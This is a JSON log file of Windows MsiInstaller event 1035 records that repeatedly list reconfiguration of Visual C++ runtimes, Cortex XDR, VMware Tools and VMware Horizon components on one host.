{"@timestamp":1657389190984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169350}}
{"@timestamp":1657389191021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169351}}
{"@timestamp":1657389191049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169352}}
{"@timestamp":1657389250882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169353}}
{"@timestamp":1657389250909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169354}}
{"@timestamp":1657389250960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169355}}
{"@timestamp":1657389251001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169356}}
{"@timestamp":1657389251031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169357}}
{"@timestamp":1657389251063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169358}}
{"@timestamp":1657389251090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169359}}
{"@timestamp":1657389251117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169360}}
{"@timestamp":1657389251153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169361}}
{"@timestamp":1657389251182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169362}}
{"@timestamp":1657389310703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169363}}
{"@timestamp":1657389310730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169364}}
{"@timestamp":1657389310782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169365}}
{"@timestamp":1657389310824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169366}}
{"@timestamp":1657389310855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169367}}
{"@timestamp":1657389310887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169368}}
{"@timestamp":1657389310915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169369}}
{"@timestamp":1657389310942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169370}}
{"@timestamp":1657389310979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169371}}
{"@timestamp":1657389311008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169372}}
{"@timestamp":1657389370569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169373}}
{"@timestamp":1657389370598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169374}}
{"@timestamp":1657389370650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169375}}
{"@timestamp":1657389370692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169376}}
{"@timestamp":1657389370722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169377}}
{"@timestamp":1657389370754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169378}}
{"@timestamp":1657389370783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169379}}
{"@timestamp":1657389370811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169380}}
{"@timestamp":1657389370849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169381}}
{"@timestamp":1657389370877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169382}}
{"@timestamp":1657389430416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169383}}
{"@timestamp":1657389430442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169384}}
{"@timestamp":1657389430492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169385}}
{"@timestamp":1657389430533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169386}}
{"@timestamp":1657389430561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169387}}
{"@timestamp":1657389430592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169388}}
{"@timestamp":1657389430619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169389}}
{"@timestamp":1657389430646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169390}}
{"@timestamp":1657389430682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169391}}
{"@timestamp":1657389430710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169392}}
{"@timestamp":1657389490395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169393}}
{"@timestamp":1657389490421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169394}}
{"@timestamp":1657389490472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169395}}
{"@timestamp":1657389490513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169396}}
{"@timestamp":1657389490543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169397}}
{"@timestamp":1657389490577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169398}}
{"@timestamp":1657389490606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169399}}
{"@timestamp":1657389490634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169400}}
{"@timestamp":1657389490672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169401}}
{"@timestamp":1657389490703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169402}}
{"@timestamp":1657389550356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169403}}
{"@timestamp":1657389550385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169404}}
{"@timestamp":1657389550437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169405}}
{"@timestamp":1657389550477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169406}}
{"@timestamp":1657389550506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169407}}
{"@timestamp":1657389550536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169408}}
{"@timestamp":1657389550564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169409}}
{"@timestamp":1657389550591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169410}}
{"@timestamp":1657389550627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169411}}
{"@timestamp":1657389550655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169412}}
{"@timestamp":1657389611177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169413}}
{"@timestamp":1657389611204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169414}}
{"@timestamp":1657389611254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169415}}
